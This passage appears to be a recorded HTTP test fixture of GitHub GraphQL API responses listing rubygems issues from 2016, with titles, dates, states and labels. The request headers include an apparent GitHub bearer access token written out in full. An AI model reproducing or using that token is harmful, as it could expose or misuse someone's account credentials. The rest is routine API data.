problem","url":"https://github.com/rubygems/rubygems/issues/1630","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0wNFQxMjoxMToxMi0wNDowMM4JcrCx","node":{"number":1631,"createdAt":"2016-06-04T16:11:12Z","closedAt":"2016-06-04T16:16:07Z","updatedAt":"2016-06-04T16:16:27Z","state":"CLOSED","title":"gem owner not displayed","url":"https://github.com/rubygems/rubygems/issues/1631","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0wOFQxODoxNTozMC0wNDowMM4JfocF","node":{"number":1634,"createdAt":"2016-06-08T22:15:30Z","closedAt":"2017-06-27T16:33:35Z","updatedAt":"2017-06-27T16:33:35Z","state":"CLOSED","title":"Create Command For Signin","url":"https://github.com/rubygems/rubygems/issues/1634","labels":{"nodes":[{"name":"status: ready"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0xMFQxMDoyNjoyOS0wNDowMM4JhAWL","node":{"number":1636,"createdAt":"2016-06-10T14:26:29Z","closedAt":"2016-08-02T05:18:04Z","updatedAt":"2016-08-02T05:18:06Z","state":"CLOSED","title":"add way to disable \"may be overly strict if is semantically versioned\" for gems that are not promised to be semantically versioned","url":"https://github.com/rubygems/rubygems/issues/1636","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0xM1QwNjo0ODozOC0wNDowMM4JiDhU","node":{"number":1637,"createdAt":"2016-06-13T10:48:38Z","closedAt":"2016-06-14T01:02:34Z","updatedAt":"2016-06-14T01:02:34Z","state":"CLOSED","title":"C-API change by the Integer unification ","url":"https://github.com/rubygems/rubygems/issues/1637","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0xNVQwMTo1MDo1NS0wNDowMM4JjqV5","node":{"number":1640,"createdAt":"2016-06-15T05:50:55Z","closedAt":"2016-08-22T01:01:12Z","updatedAt":"2016-08-22T01:01:12Z","state":"CLOSED","title":"gem install bundler-1.9.3.gem makes outbound network call","url":"https://github.com/rubygems/rubygems/issues/1640","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0xNlQwODowNjoxMy0wNDowMM4Jk0Hg","node":{"number":1642,"createdAt":"2016-06-16T12:06:13Z","closedAt":"2016-08-02T05:19:50Z","updatedAt":"2016-08-02T05:19:50Z","state":"CLOSED","title":"Config check / Update configparser.","url":"https://github.com/rubygems/rubygems/issues/1642","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0xNlQxNzo0MDozMy0wNDowMM4JlR5v","node":{"number":1643,"createdAt":"2016-06-16T21:40:33Z","closedAt":null,"updatedAt":"2017-06-06T15:16:46Z","state":"OPEN","title":"no_proxy activates if the no_proxy env var is the closing substring of the hostname","url":"https://github.com/rubygems/rubygems/issues/1643","labels":{"nodes":[{"name":"status: triage"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0xOFQxODoxMDo1OS0wNDowMM4JmVzv","node":{"number":1646,"createdAt":"2016-06-18T22:10:59Z","closedAt":"2017-03-11T17:35:52Z","updatedAt":"2017-03-11T17:35:52Z","state":"CLOSED","title":"Remove external tool dependency","url":"https://github.com/rubygems/rubygems/issues/1646","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0yMFQxMzozNzowMy0wNDowMM4JnIEO","node":{"number":1649,"createdAt":"2016-06-20T17:37:03Z","closedAt":"2016-08-19T04:02:00Z","updatedAt":"2016-08-19T04:02:01Z","state":"CLOSED","title":"''Require'' method malfunctioning via rubygems/core_ext/kernel_require","url":"https://github.com/rubygems/rubygems/issues/1649","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0yM1QwMTo1MToyNi0wNDowMM4JpZAH","node":{"number":1653,"createdAt":"2016-06-23T05:51:26Z","closedAt":"2017-11-30T08:30:08Z","updatedAt":"2017-12-01T16:41:42Z","state":"CLOSED","title":"Installing pre release gems is giving conflicting dependency errors","url":"https://github.com/rubygems/rubygems/issues/1653","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0yM1QyMjozNzozMS0wNDowMM4JqOjS","node":{"number":1654,"createdAt":"2016-06-24T02:37:31Z","closedAt":"2016-06-25T21:31:27Z","updatedAt":"2016-06-25T21:31:28Z","state":"CLOSED","title":"Cannot update my own rubygem","url":"https://github.com/rubygems/rubygems/issues/1654","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0yOFQxNTowNzoxNS0wNDowMM4Js42r","node":{"number":1655,"createdAt":"2016-06-28T19:07:15Z","closedAt":"2016-06-29T13:37:18Z","updatedAt":"2016-06-29T13:37:19Z","state":"CLOSED","title":"Cannot load specs from gem server if `Content-Encoding` header is correct","url":"https://github.com/rubygems/rubygems/issues/1655","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNy0wMlQyMDozMTowNi0wNDowMM4Jv3Ei","node":{"number":1656,"createdAt":"2016-07-03T00:31:06Z","closedAt":"2016-08-02T05:30:22Z","updatedAt":"2016-09-28T13:00:31Z","state":"CLOSED","title":"gem uninstall --platform does not work","url":"https://github.com/rubygems/rubygems/issues/1656","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNy0wNlQyMjoxOTowNS0wNDowMM4JybrB","node":{"number":1657,"createdAt":"2016-07-07T02:19:05Z","closedAt":"2016-07-07T02:28:40Z","updatedAt":"2016-07-07T02:28:41Z","state":"CLOSED","title":"new Issues","url":"https://github.com/rubygems/rubygems/issues/1657","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNy0xMlQwNzo0OToxMC0wNDowMM4J1p9K","node":{"number":1662,"createdAt":"2016-07-12T11:49:10Z","closedAt":null,"updatedAt":"2016-07-21T17:12:18Z","state":"OPEN","title":"gemspec: platform-dependent dependencies leading to inconsistent builds","url":"https://github.com/rubygems/rubygems/issues/1662","labels":{"nodes":[{"name":"status: triage"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNy0xMlQyMDo0NToxOS0wNDowMM4J2PQs","node":{"number":1663,"createdAt":"2016-07-13T00:45:19Z","closedAt":"2016-07-13T01:16:28Z","updatedAt":"2016-07-13T01:16:29Z","state":"CLOSED","title":"Please advise on openssl rubygem","url":"https://github.com/rubygems/rubygems/issues/1663","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNy0xM1QwNDowOTowOS0wNDowMM4J2bFA","node":{"number":1664,"createdAt":"2016-07-13T08:09:09Z","closedAt":null,"updatedAt":"2017-01-26T14:52:59Z","state":"OPEN","title":"gem install stops after full disk error","url":"https://github.com/rubygems/rubygems/issues/1664","labels":{"nodes":[{"name":"status: triage"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNy0xNFQxMToyODo1Ny0wNDowMM4J3rKa","node":{"number":1665,"createdAt":"2016-07-14T15:28:57Z","closedAt":null,"updatedAt":"2016-07-21T17:12:18Z","state":"OPEN","title":"test failures with umask 027","url":"https://github.com/rubygems/rubygems/issues/1665","labels":{"nodes":[{"name":"status: triage"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNy0xNlQxNDozNzo0NS0wNDowMM4J5BKE","node":{"number":1667,"createdAt":"2016-07-16T18:37:45Z","closedAt":"2016-07-16T19:59:59Z","updatedAt":"2016-07-16T19:59:59Z","state":"CLOSED","title":"Sinatra-reloader (ERRNO::ENETRESET)","url":"https://github.com/rubygems/rubygems/issues/1667","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNy0xOFQwODoyMzoxNC0wNDowMM4J5jNW","node":{"number":1668,"createdAt":"2016-07-18T12:23:14Z","closedAt":"2016-07-18T14:23:37Z","updatedAt":"2018-01-03T17:22:17Z","state":"CLOSED","title":"gem install bundler fails: no implicit conversion of nil into String","url":"https://github.com/rubygems/rubygems/issues/1668","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNy0xOVQxMjo1MzowMS0wNDowMM4J6sPU","node":{"number":1669,"createdAt":"2016-07-19T16:53:01Z","closedAt":null,"updatedAt":"2016-12-03T21:07:47Z","state":"OPEN","title":"Command ''gem list {{REGEXP}}'' fails on Git for Windows on Windows XP","url":"https://github.com/rubygems/rubygems/issues/1669","labels":{"nodes":[{"name":"platform: windows"},{"name":"status: triage"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNy0xOVQyMDowMzozNC0wNDowMM4J7BLd","node":{"number":1670,"createdAt":"2016-07-20T00:03:34Z","closedAt":"2016-07-25T19:44:14Z","updatedAt":"2016-07-25T19:44:15Z","state":"CLOSED","title":"About gem installing","url":"https://github.com/rubygems/rubygems/issues/1670","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNy0yMVQwMjo0NDoyMi0wNDowMM4J8GHV","node":{"number":1672,"createdAt":"2016-07-21T06:44:22Z","closedAt":"2016-08-25T12:03:29Z","updatedAt":"2016-08-25T12:04:11Z","state":"CLOSED","title":"Installing multiple gems with \"gem install \" command seems to not include runtime dependencies. Any workaround available? ","url":"https://github.com/rubygems/rubygems/issues/1672","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNy0yMVQwNjoxOTo1MC0wNDowMM4J8PJU","node":{"number":1673,"createdAt":"2016-07-21T10:19:50Z","closedAt":null,"updatedAt":"2016-10-21T11:59:54Z","state":"OPEN","title":"Ruby 2.3 (rubygems 2.5) Gem.datadir returns wrong directory when referring to gem data directory","url":"https://github.com/rubygems/rubygems/issues/1673","labels":{"nodes":[{"name":"status: triage"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0wMVQxMzo0ODoxMy0wNDowMM4KDjHH","node":{"number":1679,"createdAt":"2016-08-01T17:48:13Z","closedAt":"2016-08-19T03:58:46Z","updatedAt":"2016-12-15T02:47:08Z","state":"CLOSED","title":"Bundler in setup_command causes problems with rvm","url":"https://github.com/rubygems/rubygems/issues/1679","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0wOFQwNToxNzo0Mi0wNDowMM4KIB+T","node":{"number":1680,"createdAt":"2016-08-08T09:17:42Z","closedAt":"2016-08-11T19:18:31Z","updatedAt":"2016-08-11T19:18:32Z","state":"CLOSED","title":"gem install --user-install doesn''t work with native extensions","url":"https://github.com/rubygems/rubygems/issues/1680","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0wOFQxODo0MDowOC0wNDowMM4KIqV0","node":{"number":1681,"createdAt":"2016-08-08T22:40:08Z","closedAt":null,"updatedAt":"2016-09-24T15:02:15Z","state":"OPEN","title":"RubyGems/Bundler repository merger considerations","url":"https://github.com/rubygems/rubygems/issues/1681","labels":{"nodes":[{"name":"type: major bump"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0wOFQxOTo0Mjo0Ni0wNDowMM4KIsY9","node":{"number":1682,"createdAt":"2016-08-08T23:42:46Z","closedAt":"2016-08-09T02:33:05Z","updatedAt":"2016-08-09T02:33:05Z","state":"CLOSED","title":"Summary will not update on rubygems","url":"https://github.com/rubygems/rubygems/issues/1682","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0xMFQxNDowOToxMi0wNDowMM4KKVgZ","node":{"number":1684,"createdAt":"2016-08-10T18:09:12Z","closedAt":"2016-08-10T19:15:32Z","updatedAt":"2017-06-30T02:06:07Z","state":"CLOSED","title":"Pessimistic major version, unexpected behavior","url":"https://github.com/rubygems/rubygems/issues/1684","labels":{"nodes":[{"name":"category: gem spec"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0xN1QwODowODowMC0wNDowMM4KOwqm","node":{"number":1687,"createdAt":"2016-08-17T12:08:00Z","closedAt":"2016-08-19T10:12:59Z","updatedAt":"2016-08-19T10:12:59Z","state":"CLOSED","title":"Running ''bundle'' command fails to build gems with native extensions with rubygems above version 2.6.4","url":"https://github.com/rubygems/rubygems/issues/1687","labels":{"nodes":[{"name":"status: ready"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0xN1QxMjo0MjowMi0wNDowMM4KPAM5","node":{"number":1688,"createdAt":"2016-08-17T16:42:02Z","closedAt":"2017-01-17T14:11:57Z","updatedAt":"2017-01-17T18:31:04Z","state":"CLOSED","title":"Proposal: Update gem cert to support strong cryptography","url":"https://github.com/rubygems/rubygems/issues/1688","labels":{"nodes":[{"name":"status: ready"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0xOFQwMDozMToxMy0wNDowMM4KPbM5","node":{"number":1689,"createdAt":"2016-08-18T04:31:13Z","closedAt":"2017-06-13T17:16:08Z","updatedAt":"2017-06-13T17:16:08Z","state":"CLOSED","title":"Please improve this error message: \"Invalid byte sequence in UTF-8\" It does not tell me much at all","url":"https://github.com/rubygems/rubygems/issues/1689","labels":{"nodes":[{"name":"status: user feedback required"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0yNFQwMDoxNzozMi0wNDowMM4KTaac","node":{"number":1692,"createdAt":"2016-08-24T04:17:32Z","closedAt":"2016-08-24T19:36:32Z","updatedAt":"2016-08-24T19:36:32Z","state":"CLOSED","title":"Can''t create a rubygems development environment using `rake newb`","url":"https://github.com/rubygems/rubygems/issues/1692","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0yNVQyMDozNzo0NC0wNDowMM4KVQFD","node":{"number":1698,"createdAt":"2016-08-26T00:37:44Z","closedAt":"2016-08-27T08:48:48Z","updatedAt":"2016-08-27T08:48:48Z","state":"CLOSED","title":"Error gem install and saying No route to host","url":"https://github.com/rubygems/rubygems/issues/1698","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0yN1QxNTowNzoyNi0wNDowMM4KWRaN","node":{"number":1700,"createdAt":"2016-08-27T19:07:26Z","closedAt":"2017-11-30T08:22:21Z","updatedAt":"2017-11-30T08:22:21Z","state":"CLOSED","title":"gem install fails with TypeError","url":"https://github.com/rubygems/rubygems/issues/1700","labels":{"nodes":[{"name":"platform: windows"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0yN1QxNjoyMjo0MS0wNDowMM4KWSK3","node":{"number":1701,"createdAt":"2016-08-27T20:22:41Z","closedAt":"2016-08-30T18:06:11Z","updatedAt":"2016-08-30T18:06:12Z","state":"CLOSED","title":"Constant timeouts with rubygems.global.ssl.fastly.net - Gitlab.com CI / DigitalOcean","url":"https://github.com/rubygems/rubygems/issues/1701","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0yOVQxOToyNzoyMy0wNDowMM4KXXIT","node":{"number":1702,"createdAt":"2016-08-29T23:27:23Z","closedAt":"2016-11-28T17:36:25Z","updatedAt":"2016-11-28T17:58:02Z","state":"CLOSED","title":"`gem install` doesn''t use pre-compiled extensions for universal-darwin platform as expected","url":"https://github.com/rubygems/rubygems/issues/1702","labels":{"nodes":[{"name":"platform: osx"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOS0wMlQxNTowNToxNS0wNDowMM4Ka6lr","node":{"number":1703,"createdAt":"2016-09-02T19:05:15Z","closedAt":"2016-09-08T17:24:01Z","updatedAt":"2016-09-08T17:24:01Z","state":"CLOSED","title":"Library not detected after installing ","url":"https://github.com/rubygems/rubygems/issues/1703","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOS0wMlQyMDoyOTo1Ni0wNDowMM4KbEsv","node":{"number":1704,"createdAt":"2016-09-03T00:29:56Z","closedAt":"2016-09-03T01:31:34Z","updatedAt":"2016-09-03T01:31:35Z","state":"CLOSED","title":"https://rubygems.org/gems/ops_manager_cli namespace is taken","url":"https://github.com/rubygems/rubygems/issues/1704","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOS0wM1QwMzoyMDozMy0wNDowMM4KbISQ","node":{"number":1705,"createdAt":"2016-09-03T07:20:33Z","closedAt":"2017-03-11T17:42:53Z","updatedAt":"2017-03-11T17:42:53Z","state":"CLOSED","title":"man page support","url":"https://github.com/rubygems/rubygems/issues/1705","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOS0wM1QxMToxNjo1MS0wNDowMM4KbMig","node":{"number":1706,"createdAt":"2016-09-03T15:16:51Z","closedAt":null,"updatedAt":"2017-03-11T17:36:39Z","state":"OPEN","title":"https_proxy environment variable is ignored when empty","url":"https://github.com/rubygems/rubygems/issues/1706","labels":{"nodes":[{"name":"contribution: unclaimed"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOS0wNFQyMzoxMjozMC0wNDowMM4KbhsI","node":{"number":1707,"createdAt":"2016-09-05T03:12:30Z","closedAt":"2016-09-05T03:14:18Z","updatedAt":"2016-09-05T03:14:18Z","state":"CLOSED","title":"Add Core Infrastructure Iniative Best Practices badge","url":"https://github.com/rubygems/rubygems/issues/1707","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOS0wNlQxNTowODoxMS0wNDowMM4Kc0NH","node":{"number":1708,"createdAt":"2016-09-06T19:08:11Z","closedAt":"2016-09-06T20:24:33Z","updatedAt":"2016-09-06T20:24:33Z","state":"CLOSED","title":"rbenv install of ruby 2.3.1 on Suse fails @ \"/package.rb:44:in `''\"","url":"https://github.com/rubygems/rubygems/issues/1708","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOS0wN1QwNTowOTo0OC0wNDowMM4KdSw7","node":{"number":1710,"createdAt":"2016-09-07T09:09:48Z","closedAt":"2016-09-07T11:25:23Z","updatedAt":"2016-09-07T11:38:28Z","state":"CLOSED","title":"session management","url":"https://github.com/rubygems/rubygems/issues/1710","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOS0xMlQwMzo1NDowMS0wNDowMM4KglfT","node":{"number":1712,"createdAt":"2016-09-12T07:54:01Z","closedAt":"2016-09-12T12:52:09Z","updatedAt":"2016-09-12T12:52:10Z","state":"CLOSED","title":"gem install ERROR","url":"https://github.com/rubygems/rubygems/issues/1712","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOS0xMlQwNjo1Nzo0Mi0wNDowMM4Kgto6","node":{"number":1713,"createdAt":"2016-09-12T10:57:42Z","closedAt":"2016-09-12T15:13:33Z","updatedAt":"2016-09-12T16:15:50Z","state":"CLOSED","title":"RCE-remote code execution","url":"https://github.com/rubygems/rubygems/issues/1713","labels":{"nodes":[]}}}]}}}}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:29 GMT - request: method: post uri: https://api.github.com/graphql body: encoding: UTF-8 string: '{"query":"query {\n repository(owner: \"rubygems\", name: \"rubygems\") {\n issues(first: 100, after: \"Y3Vyc29yOnYyOpK5MjAxNi0wOS0xMlQwNjo1Nzo0Mi0wNDowMM4Kgto6\", orderBy:{field: CREATED_AT, direction: ASC}) {\n edges {\n cursor\n node {\n number\n createdAt\n closedAt\n updatedAt\n state\n title\n url\n labels(first: 100) {\n nodes {\n name\n }\n }\n }\n }\n }\n }\n}"}' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/vnd.github.v4.idl User-Agent: - Ruby Host: - api.github.com Authorization: - bearer 9182777ff3c006795193a570cdac326b64459dc9 Bearer-Token: - 9182777ff3c006795193a570cdac326b64459dc9 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:29 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4974' X-Ratelimit-Reset: - '1515254347' Cache-Control: - no-cache X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v4; param=idl Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.433267' X-Github-Request-Id: - C68E:4D95:F48D38:1C85420:5A50E48D body: encoding: ASCII-8BIT string: '{"data":{"repository":{"issues":{"edges":[{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOS0xNVQwMTowMDo1Mi0wNDowMM4Kjioh","node":{"number":1715,"createdAt":"2016-09-15T05:00:52Z","closedAt":"2016-09-22T01:32:26Z","updatedAt":"2016-09-22T01:32:26Z","state":"CLOSED","title":"Update CONTRIBUTING.rdoc","url":"https://github.com/rubygems/rubygems/issues/1715","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOS0yMVQwOTo1NzozMi0wNDowMM4KoXoI","node":{"number":1719,"createdAt":"2016-09-21T13:57:32Z","closedAt":"2016-09-29T18:38:37Z","updatedAt":"2016-10-13T02:33:24Z","state":"CLOSED","title":"Feature Request: Add ability to specify expiration length with gem cert command","url":"https://github.com/rubygems/rubygems/issues/1719","labels":{"nodes":[{"name":"status: ready"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOS0yMVQxMDowNToxMy0wNDowMM4KoYJP","node":{"number":1720,"createdAt":"2016-09-21T14:05:13Z","closedAt":null,"updatedAt":"2016-10-02T16:41:56Z","state":"OPEN","title":"Feature Request: Add ability to resign key with gem cert command","url":"https://github.com/rubygems/rubygems/issues/1720","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOS0zMFQwNDowNDozNi0wNDowMM4Kvk6a","node":{"number":1726,"createdAt":"2016-09-30T08:04:36Z","closedAt":"2016-10-02T07:39:29Z","updatedAt":"2016-10-02T07:39:30Z","state":"CLOSED","title":"ERROR: While executing gem ... (Errno::EINVAL) Invalid argument","url":"https://github.com/rubygems/rubygems/issues/1726","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0wNFQxNTozMjo0NC0wNDowMM4KyZcn","node":{"number":1735,"createdAt":"2016-10-04T19:32:44Z","closedAt":"2016-10-04T19:58:58Z","updatedAt":"2017-05-16T14:34:46Z","state":"CLOSED","title":"''gem install'' fails and I''m unable to continue installing any gems","url":"https://github.com/rubygems/rubygems/issues/1735","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0wNVQwODoxNjo1NC0wNDowMM4Ky+4G","node":{"number":1736,"createdAt":"2016-10-05T12:16:54Z","closedAt":"2016-10-07T12:16:41Z","updatedAt":"2017-12-21T18:40:36Z","state":"CLOSED","title":"Gem install fails with SSL certificate connection error","url":"https://github.com/rubygems/rubygems/issues/1736","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0wNlQwNjowNDoxNC0wNDowMM4Kz4gl","node":{"number":1737,"createdAt":"2016-10-06T10:04:14Z","closedAt":"2016-11-13T00:19:40Z","updatedAt":"2016-11-28T23:57:12Z","state":"CLOSED","title":"OpenSSL::SSL::SSLErrorWaitReadable","url":"https://github.com/rubygems/rubygems/issues/1737","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0wN1QxMjo1NzozMi0wNDowMM4K1NDE","node":{"number":1740,"createdAt":"2016-10-07T16:57:32Z","closedAt":"2016-10-07T23:30:57Z","updatedAt":"2016-10-07T23:30:57Z","state":"CLOSED","title":"Docs / comments for Gem::InstallerTestCase#setup","url":"https://github.com/rubygems/rubygems/issues/1740","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0wN1QxOTozMDowNy0wNDowMM4K1dtm","node":{"number":1742,"createdAt":"2016-10-07T23:30:07Z","closedAt":"2017-02-14T05:36:18Z","updatedAt":"2017-02-14T05:36:18Z","state":"CLOSED","title":"Bundler as default gems causes activation error on Bundler","url":"https://github.com/rubygems/rubygems/issues/1742","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0wN1QxOTozMjo1NC0wNDowMM4K1dxp","node":{"number":1743,"createdAt":"2016-10-07T23:32:54Z","closedAt":"2017-02-14T05:36:18Z","updatedAt":"2017-02-14T05:36:18Z","state":"CLOSED","title":"Bundler default gem does not provide executable","url":"https://github.com/rubygems/rubygems/issues/1743","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0wOFQyMDoxODozMi0wNDowMM4K1ueV","node":{"number":1744,"createdAt":"2016-10-09T00:18:32Z","closedAt":"2016-10-09T15:15:05Z","updatedAt":"2016-10-09T15:15:06Z","state":"CLOSED","title":"http://help.rubygems.org/discussion/new is down","url":"https://github.com/rubygems/rubygems/issues/1744","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0xMFQwNTo1OTo0Ni0wNDowMM4K2L9T","node":{"number":1745,"createdAt":"2016-10-10T09:59:46Z","closedAt":"2016-10-26T08:05:19Z","updatedAt":"2016-10-26T08:05:20Z","state":"CLOSED","title":"rubygems SSL Issue","url":"https://github.com/rubygems/rubygems/issues/1745","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0xMFQyMDoxNjozMy0wNDowMM4K206m","node":{"number":1746,"createdAt":"2016-10-11T00:16:33Z","closedAt":null,"updatedAt":"2017-03-11T17:57:32Z","state":"OPEN","title":"Feature: gem aliases/provides/replaces","url":"https://github.com/rubygems/rubygems/issues/1746","labels":{"nodes":[{"name":"contribution: unclaimed"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0xM1QxNjo0ODowMy0wNDowMM4K5sj/","node":{"number":1749,"createdAt":"2016-10-13T20:48:03Z","closedAt":"2016-10-13T21:12:43Z","updatedAt":"2016-10-13T21:12:43Z","state":"CLOSED","title":"/","url":"https://github.com/rubygems/rubygems/issues/1749","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0xN1QwNTo1ODo0NC0wNDowMM4K7g+d","node":{"number":1750,"createdAt":"2016-10-17T09:58:44Z","closedAt":"2016-11-09T00:50:29Z","updatedAt":"2016-11-09T00:50:30Z","state":"CLOSED","title":"Certificate error on windows","url":"https://github.com/rubygems/rubygems/issues/1750","labels":{"nodes":[{"name":"platform: windows"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0xOVQyMjoxNjozOC0wNDowMM4K+W75","node":{"number":1754,"createdAt":"2016-10-20T02:16:38Z","closedAt":null,"updatedAt":"2017-12-05T20:05:46Z","state":"OPEN","title":"Activation error on `rake newb` with clean checkout","url":"https://github.com/rubygems/rubygems/issues/1754","labels":{"nodes":[{"name":"status: triage"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0yMFQxODo0NDo0NC0wNDowMM4K/Rjb","node":{"number":1756,"createdAt":"2016-10-20T22:44:44Z","closedAt":null,"updatedAt":"2017-05-24T20:49:28Z","state":"OPEN","title":"WARN: Unresolved specs during Gem::Specification.reset","url":"https://github.com/rubygems/rubygems/issues/1756","labels":{"nodes":[{"name":"status: triage"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0yMVQwOTowODoxNi0wNDowMM4K/u3N","node":{"number":1757,"createdAt":"2016-10-21T13:08:16Z","closedAt":"2017-09-18T07:35:34Z","updatedAt":"2017-09-18T07:35:34Z","state":"CLOSED","title":"Error: While executing gem ... SSL_connect retuned=1 errorno=0 state=SSlv3","url":"https://github.com/rubygems/rubygems/issues/1757","labels":{"nodes":[{"name":"platform: windows"},{"name":"status: user feedback required"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0yMVQyMzoxODoyMC0wNDowMM4LANhP","node":{"number":1758,"createdAt":"2016-10-22T03:18:20Z","closedAt":"2017-09-04T13:33:25Z","updatedAt":"2017-09-04T13:33:26Z","state":"CLOSED","title":"SSL certificate verify failure","url":"https://github.com/rubygems/rubygems/issues/1758","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0yNFQxNjo1NDowMC0wNDowMM4LBiSh","node":{"number":1760,"createdAt":"2016-10-24T20:54:00Z","closedAt":"2016-11-13T00:29:01Z","updatedAt":"2016-11-13T00:29:01Z","state":"CLOSED","title":"ruby gem install crashes when installation path is long","url":"https://github.com/rubygems/rubygems/issues/1760","labels":{"nodes":[{"name":"status: user feedback 